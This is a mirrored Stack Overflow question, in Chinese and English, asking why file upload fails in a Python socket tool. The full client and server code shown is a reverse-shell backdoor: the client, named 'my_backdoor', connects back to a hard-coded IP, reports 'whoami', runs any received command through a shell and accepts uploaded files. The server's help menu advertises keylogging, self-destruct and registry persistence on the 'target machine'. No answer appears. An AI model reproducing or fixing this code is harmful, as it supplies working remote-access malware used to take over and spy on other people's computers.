套接字无法上传文件

发布于 2025-01-13 09:44:57 字数 6386 浏览 0 评论 0原文

我正在尝试开发一个在客户端计算机上运行的脚本,该脚本将信息发送到服务器并向客户端计算机上传和下载。但是,当我尝试上传文件时,我在服务器计算机中看到该文件正在发送文件,但客户端没有收到并且没有显示错误。在我将代码实现到我的主代码中之前,上传代码工作正常。如果我的解释有任何误解,我很抱歉,我是 stackoverflow 的新手。 欢迎提供任何帮助 X

import socket
from socket import *
import subprocess
import json
import os
import tqdm

path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096


class Client:
    def __init__(self, ip, port):

        self.connection = socket(AF_INET, SOCK_STREAM)
        self.connection.connect((ip, port))

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode())

    def reliable_recv(self):
        json_data = " "
        while True:
            try:
                json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
                return json.loads(json_data)
            except ValueError:
                continue

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Changing working directory to " + path

    def down(self):
        try:
            received = self.connection.recv(BUFFER_SIZE).decode()
            filename, filesize = received.split(SEPARATOR)
            filename = os.path.basename(filename)
            filesize = int(filesize)

            progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
            with open(filename, "wb") as f:
                while True:
                    bytes_read = self.connection.recv(BUFFER_SIZE)
                    if not bytes_read:
                        break
                    f.write(bytes_read)
                    progress.update(len(bytes_read))
        except Exception as e:
            print(e)


    def run(self):
        privilege = subprocess.check_output('whoami', shell=True)
        self.connection.send(privilege)
        while True:
            command = self.reliable_recv()
            if command[0] == "quit":
                self.connection.close()
                exit()
            elif command[0] == "/help":
                continue
            elif command[0] == '/cls':
                continue

            elif command[0] == 'upload':
                self.down()
                continue

            # elif command[:3] == "cd ":
            #     try:
            #         os.chdir(path)
            #     except OSError as e:
            #         print(e)

            else:
                command_result = self.execute_system_command(command)
                self.reliable_send(command_result.decode("ISO-8859-1").strip())


my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()

这是服务器代码:

import json
import os
import socket
import tqdm

SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
    def __init__(self, bind_ip, bind_port):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((bind_ip, bind_port))
        server.listen(0)
        print("[*] Listening on ", str(bind_ip))
        self.connection, addr = server.accept()
        print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
        receive = self.connection.recv(1024)
        print("[+] This is " + receive.decode('ISO-8859-1'))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode().strip())

    def reliable_recv(self):
        json_data = " "
        while True:
            try:
                json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
                return json.loads(json_data)
            except ValueError:
                continue

    def upload(self):
        filename = "v.png"
        filesize = os.path.getsize(filename)
        # send the filename and filesize
        self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())

        # start sending the file
        progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
        with open(filename, "rb") as f:
            while True:
                # read the bytes from the file
                bytes_read = f.read(BUFFER_SIZE)
                if not bytes_read:
                    # file transmitting is done
                    break
                # we use sendall to assure transimission in
                # busy networks
                self.connection.sendall(bytes_read)
                # update the progress bar
                progress.update(len(bytes_read))



    def run_command(self):
        while True:
            command = input(">")
            command = command.split(" ")
            if command[0] == "quit":
                self.connection.close()
                exit()

            elif command[0] == "/help":
               print('''
               quit                                 => Quit the sessison
               clear                                => Clear the screen
               cd *dirname                          => Change directory on target machine
               upload *filename                     =>Upload file to target machine
               download *filename                   =>Download file from target machine
               key_start                            =>Start the keylogger
               key_dump                             =>Print the keystrokes target prompted
               key_stop                             =>Stop and self destruct keylogger file
               persistance *RegName* *filename      =>Persistance in reboot
               ''')
               continue

            elif command[:3] == 'cd ':
                pass

            elif command[0] == 'upload':
                self.upload()
                continue

            elif command[0] == '/cls':
                os.system('cls')
                continue

            self.reliable_send(command)
            result = self.reliable_recv()
            print(result)


my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()

它没有显示任何错误,其余代码工作正常。 当我尝试测试时,上传和下载功能工作正常 但当我尝试将其实现到我的主代码中时却不起作用

I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X

import socket
from socket import *
import subprocess
import json
import os
import tqdm

path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096


class Client:
    def __init__(self, ip, port):

        self.connection = socket(AF_INET, SOCK_STREAM)
        self.connection.connect((ip, port))

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode())

    def reliable_recv(self):
        json_data = " "
        while True:
            try:
                json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
                return json.loads(json_data)
            except ValueError:
                continue

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Changing working directory to " + path

    def down(self):
        try:
            received = self.connection.recv(BUFFER_SIZE).decode()
            filename, filesize = received.split(SEPARATOR)
            filename = os.path.basename(filename)
            filesize = int(filesize)

            progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
            with open(filename, "wb") as f:
                while True:
                    bytes_read = self.connection.recv(BUFFER_SIZE)
                    if not bytes_read:
                        break
                    f.write(bytes_read)
                    progress.update(len(bytes_read))
        except Exception as e:
            print(e)


    def run(self):
        privilege = subprocess.check_output('whoami', shell=True)
        self.connection.send(privilege)
        while True:
            command = self.reliable_recv()
            if command[0] == "quit":
                self.connection.close()
                exit()
            elif command[0] == "/help":
                continue
            elif command[0] == '/cls':
                continue

            elif command[0] == 'upload':
                self.down()
                continue

            # elif command[:3] == "cd ":
            #     try:
            #         os.chdir(path)
            #     except OSError as e:
            #         print(e)

            else:
                command_result = self.execute_system_command(command)
                self.reliable_send(command_result.decode("ISO-8859-1").strip())


my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()

Here is the server code:

import json
import os
import socket
import tqdm

SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
    def __init__(self, bind_ip, bind_port):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind((bind_ip, bind_port))
        server.listen(0)
        print("[*] Listening on ", str(bind_ip))
        self.connection, addr = server.accept()
        print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
        receive = self.connection.recv(1024)
        print("[+] This is " + receive.decode('ISO-8859-1'))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode().strip())

    def reliable_recv(self):
        json_data = " "
        while True:
            try:
                json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
                return json.loads(json_data)
            except ValueError:
                continue

    def upload(self):
        filename = "v.png"
        filesize = os.path.getsize(filename)
        # send the filename and filesize
        self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())

        # start sending the file
        progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
        with open(filename, "rb") as f:
            while True:
                # read the bytes from the file
                bytes_read = f.read(BUFFER_SIZE)
                if not bytes_read:
                    # file transmitting is done
                    break
                # we use sendall to assure transimission in
                # busy networks
                self.connection.sendall(bytes_read)
                # update the progress bar
                progress.update(len(bytes_read))



    def run_command(self):
        while True:
            command = input(">")
            command = command.split(" ")
            if command[0] == "quit":
                self.connection.close()
                exit()

            elif command[0] == "/help":
               print('''
               quit                                 => Quit the sessison
               clear                                => Clear the screen
               cd *dirname                          => Change directory on target machine
               upload *filename                     =>Upload file to target machine
               download *filename                   =>Download file from target machine
               key_start                            =>Start the keylogger
               key_dump                             =>Print the keystrokes target prompted
               key_stop                             =>Stop and self destruct keylogger file
               persistance *RegName* *filename      =>Persistance in reboot
               ''')
               continue

            elif command[:3] == 'cd ':
                pass

            elif command[0] == 'upload':
                self.upload()
                continue

            elif command[0] == '/cls':
                os.system('cls')
                continue

            self.reliable_send(command)
            result = self.reliable_recv()
            print(result)


my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()

it doesnt show any errors and rest of the code is working properly.
Upload and download functions worked properly when I tried to test
but didnt work when i tried to implement into my main code

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文